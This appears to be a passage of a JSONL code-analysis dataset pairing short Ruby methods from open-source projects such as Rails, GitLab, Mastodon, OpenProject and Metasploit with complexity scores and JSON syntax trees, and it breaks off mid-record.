{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/calculator/default_tax.rb","start_line":54,"raw_source":"def deduced_total_by_rate(pre_tax_amount, rate)\n      round_to_two_places(pre_tax_amount * rate.amount)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deduced_total_by_rate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pre_tax_amount\"]},{\"type\":\"arg\",\"children\":[\"rate\"]}]},{\"type\":\"send\",\"children\":[null,\"round_to_two_places\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre_tax_amount\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"amount\"]}]}]}]}","id":"fb252c56-5829-4c51-9f3c-99ba72139934"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_at_timestamp_representer.rb","start_line":102,"raw_source":"def rendered_properties_for_links\n          @rendered_properties_for_links ||= rendered_properties.map do |property|\n            if property.starts_with?(\"custom_field_\")\n              API::Utilities::PropertyNameConverter.from_ar_name(property)\n            else\n              property\n            end\n          end\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rendered_properties_for_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rendered_properties_for_links\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rendered_properties\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"custom_field_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Utilities\"]},\"PropertyNameConverter\"]},\"from_ar_name\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]}]}","id":"d7ae13de-3e41-48f3-8245-34a0419ae378"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/clean_logger_test.rb","start_line":26,"raw_source":"def test_nonstring_formatting\n    an_object = [1, 2, 3, 4, 5]\n    @logger.debug an_object\n    assert_equal(\"#{an_object.inspect}\\n\", @out.string)\n  end","complexity_score":6.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nonstring_formatting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"an_object\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"debug\",{\"type\":\"lvar\",\"children\":[\"an_object\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"an_object\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@out\"]},\"string\"]}]}]}]}","id":"fda749f7-1c11-4814-842b-7e1e0b84c5ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/project_storages/table_component.rb","start_line":63,"raw_source":"def headers\n      [\n        [\"name\", { caption: ::Storages::Storage.human_attribute_name(:name) }],\n        [\"provider_type\", { caption: I18n.t(\"storages.provider_types.label\") }],\n        [\"creator\", { caption: I18n.t(\"storages.label_creator\") }],\n        [\"created_at\", { caption: ::Storages::ProjectStorage.human_attribute_name(:created_at) }]\n      ]\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"Storage\"]},\"human_attribute_name\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"provider_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.provider_types.label\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"creator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.label_creator\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"ProjectStorage\"]},\"human_attribute_name\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}]}]}","id":"6e19b855-56f4-41f3-b5eb-a60229c19ae7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":680,"raw_source":"def depend_on_bootsnap?\n        !options[:skip_bootsnap] && !options[:dev] && !jruby?\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"depend_on_bootsnap?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_bootsnap\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dev\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jruby?\"]},\"!\"]}]}]}","id":"785f4939-f646-4ffb-ae1d-7e551ae41ef9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb","start_line":198,"raw_source":"def sock_r(sock)\n    recv_sz = sock.read(2).unpack('H*')[0].to_i(16)\n    bytes = sock.read(recv_sz - 2).unpack('H*')[0]\n    bytes\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sock_r\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recv_sz\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"read\",{\"type\":\"int\",\"children\":[2]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recv_sz\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvar\",\"children\":[\"bytes\"]}]}]}","id":"e4a7f3c0-1fd5-4e22-a15c-1951824d02bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/models/audit_event.rb","start_line":34,"raw_source":"def self.by_entity_id(entity_id)\n        new.by_entity_id(entity_id)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"by_entity_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"by_entity_id\",{\"type\":\"lvar\",\"children\":[\"entity_id\"]}]}]}","id":"41b288b8-258c-4cd6-a472-4b3875e3809b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":444,"raw_source":"def receive_pack?\n      cmd == 'git-receive-pack'\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"receive_pack?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd\"]},\"==\",{\"type\":\"str\",\"children\":[\"git-receive-pack\"]}]}]}","id":"872ab89f-6f75-4ee2-9f04-7929e381c749"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/vote_service.rb","start_line":57,"raw_source":"def deliver_votes!\n    @votes.each do |vote|\n      ActivityPub::DeliveryWorker.perform_async(\n        build_json(vote),\n        @account.id,\n        @poll.account.inbox_url\n      )\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_votes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@votes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"DeliveryWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"build_json\",{\"type\":\"lvar\",\"children\":[\"vote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@poll\"]},\"account\"]},\"inbox_url\"]}]}]}]}","id":"740fa5fb-4864-455e-ab5c-aa9286f82f67"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/hooks.rb","start_line":210,"raw_source":"def prepend_before(*args, &block)\n        hooks.register :prepend, :before, *args, &block\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepend_before\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hooks\"]},\"register\",{\"type\":\"sym\",\"children\":[\"prepend\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"d5db05f8-920d-4dd9-8a6b-cb7c30e8e3e9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/binary_operator_with_identical_operands.rb","start_line":57,"raw_source":"def on_and(node)\n          return unless node.lhs == node.rhs\n\n          add_offense(node, message: format(MSG, op: node.operator))\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_and\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"lhs\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"rhs\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"op\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"operator\"]}]}]}]}]}]}]}]}]}","id":"a8378d71-9a88-4ca8-a48a-4dcc1a48bd33"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/pdu.rb","start_line":351,"raw_source":"def generic_trap=(trap)\n        @generic_trap = GENERIC_TRAP_CODE[trap]\n        unless @generic_trap\n            if trap.respond_to?(:to_i) && GENERIC_TRAP_NAME[trap.to_i]\n                @generic_trap = trap\n            else\n                raise InvalidGenericTrap, trap.to_s\n            end\n        end\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generic_trap=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trap\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@generic_trap\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GENERIC_TRAP_CODE\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trap\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@generic_trap\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GENERIC_TRAP_NAME\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap\"]},\"to_i\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@generic_trap\",{\"type\":\"lvar\",\"children\":[\"trap\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidGenericTrap\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap\"]},\"to_s\"]}]}]}]}]}]}","id":"c0b34ef3-a6c4-4978-9cd3-a31b5ca46b2e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_action.rb","start_line":79,"raw_source":"def available_actions\n    ::CustomActions::Register.actions.map(&:all).flatten\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"available_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CustomActions\"]},\"Register\"]},\"actions\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"all\"]}]}]},\"flatten\"]}]}","id":"8601c916-0ed9-45a5-b4a4-6daceeffc4c7"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/subforems_controller.rb","start_line":24,"raw_source":"def show\n      @subforem_moderators = User.with_role(:subforem_moderator, @subforem).select(:id, :username)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subforem_moderators\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"with_role\",{\"type\":\"sym\",\"children\":[\"subforem_moderator\"]},{\"type\":\"ivar\",\"children\":[\"@subforem\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}","id":"c62482fd-baf4-4357-b3cc-750e3e13a6b0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cli/command/execute_runner.rb","start_line":22,"raw_source":"def execute_runner(paths)\n          runner = Runner.new(@options, @config_store)\n\n          all_pass_or_excluded = with_redirect do\n            all_passed = runner.run(paths)\n            display_summary(runner)\n            all_passed || @options[:auto_gen_config]\n          end\n\n          maybe_print_corrected_source\n\n          if runner.aborting?\n            STATUS_INTERRUPTED\n          elsif all_pass_or_excluded && runner.errors.empty?\n            STATUS_SUCCESS\n          else\n            STATUS_OFFENSES\n          end\n        end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_runner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"runner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runner\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@options\"]},{\"type\":\"ivar\",\"children\":[\"@config_store\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_pass_or_excluded\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redirect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_passed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]},{\"type\":\"send\",\"children\":[null,\"display_summary\",{\"type\":\"lvar\",\"children\":[\"runner\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_passed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_gen_config\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"maybe_print_corrected_source\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"aborting?\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_INTERRUPTED\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_pass_or_excluded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"errors\"]},\"empty?\"]}]},{\"type\":\"const\",\"children\":[null,\"STATUS_SUCCESS\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_OFFENSES\"]}]}]}]}]}","id":"ab5869e2-1c01-4115-8dae-89cbd62e7c4e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/retry_with_delay.rb","start_line":15,"raw_source":"def run_retry_with_delay\n      response = yield\n\n      if response.code == 429 && response.headers.has_key?('retry-after')\n        retry_after = response.headers['retry-after'].to_i\n\n        if retry_after <= MAXIMUM_DELAY\n          logger.info(message: \"Retrying in #{retry_after} seconds due to 429 Too Many Requests\")\n          sleep retry_after\n\n          response = yield\n        end\n      end\n\n      response\n    end","complexity_score":24.13,"ast_json":"{\"type\":\"def\",\"children\":[\"run_retry_with_delay\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[429]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"retry-after\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retry_after\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"retry-after\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_after\"]},\"<=\",{\"type\":\"const\",\"children\":[null,\"MAXIMUM_DELAY\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrying in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_after\"]}]},{\"type\":\"str\",\"children\":[\" seconds due to 429 Too Many Requests\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"retry_after\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"yield\",\"children\":[]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"82c80c4b-d7c0-4603-a6c7-ea241017a37e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/apple_backup_manifestdb.rb","start_line":35,"raw_source":"def parse_mbdb\n    raise ArgumentError, \"Not valid MBDB data\" if self.mbdb_data[0,4] != \"mbdb\"\n    self.mbdb_offset = 4\n    self.mbdb_offset = self.mbdb_offset + 2 # Maps to \\x05 \\x00 (unknown)\n\n    while self.mbdb_offset < self.mbdb_data.length\n      info = {}\n      info[:start_offset] = self.mbdb_offset\n      info[:domain]       = mbdb_read_string\n      info[:filename]     = mbdb_read_string\n      info[:linktarget]   = mbdb_read_string\n      info[:datahash]     = mbdb_read_string\n      info[:unknown1]     = mbdb_read_string\n      info[:mode]         = mbdb_read_int(2)\n      info[:unknown2]     = mbdb_read_int(4)\n      info[:unknown3]     = mbdb_read_int(4)\n      info[:uid]          = mbdb_read_int(4)\n      info[:gid]          = mbdb_read_int(4)\n      info[:mtime]        = ::Time.at(mbdb_read_int(4))\n      info[:atime]        = ::Time.at(mbdb_read_int(4))\n      info[:ctime]        = ::Time.at(mbdb_read_int(4))\n      info[:length]       = mbdb_read_int(8)\n      info[:flag]         = mbdb_read_int(1)\n      property_count      = mbdb_read_int(1)\n      info[:properties]   = {}\n      1.upto(property_count) do |i|\n        k = mbdb_read_string\n        v = mbdb_read_string\n        info[:properties][k] = v\n      end\n      self.entry_offsets[ info[:start_offset] ] = info\n    end\n    self.mbdb_data = \"\"\n  end","complexity_score":84.15,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_mbdb\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]},\"!=\",{\"type\":\"str\",\"children\":[\"mbdb\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Not valid MBDB data\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset=\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_data\"]},\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"start_offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"linktarget\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"datahash\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"unknown1\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"unknown2\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"unknown3\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"gid\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mtime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"atime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ctime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"flag\"]},{\"type\":\"send\",\"children\":[null,\"mbdb_read_int\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"property_count\",{\"type\":\"send\",\"children\":[null,\"mbdb_read_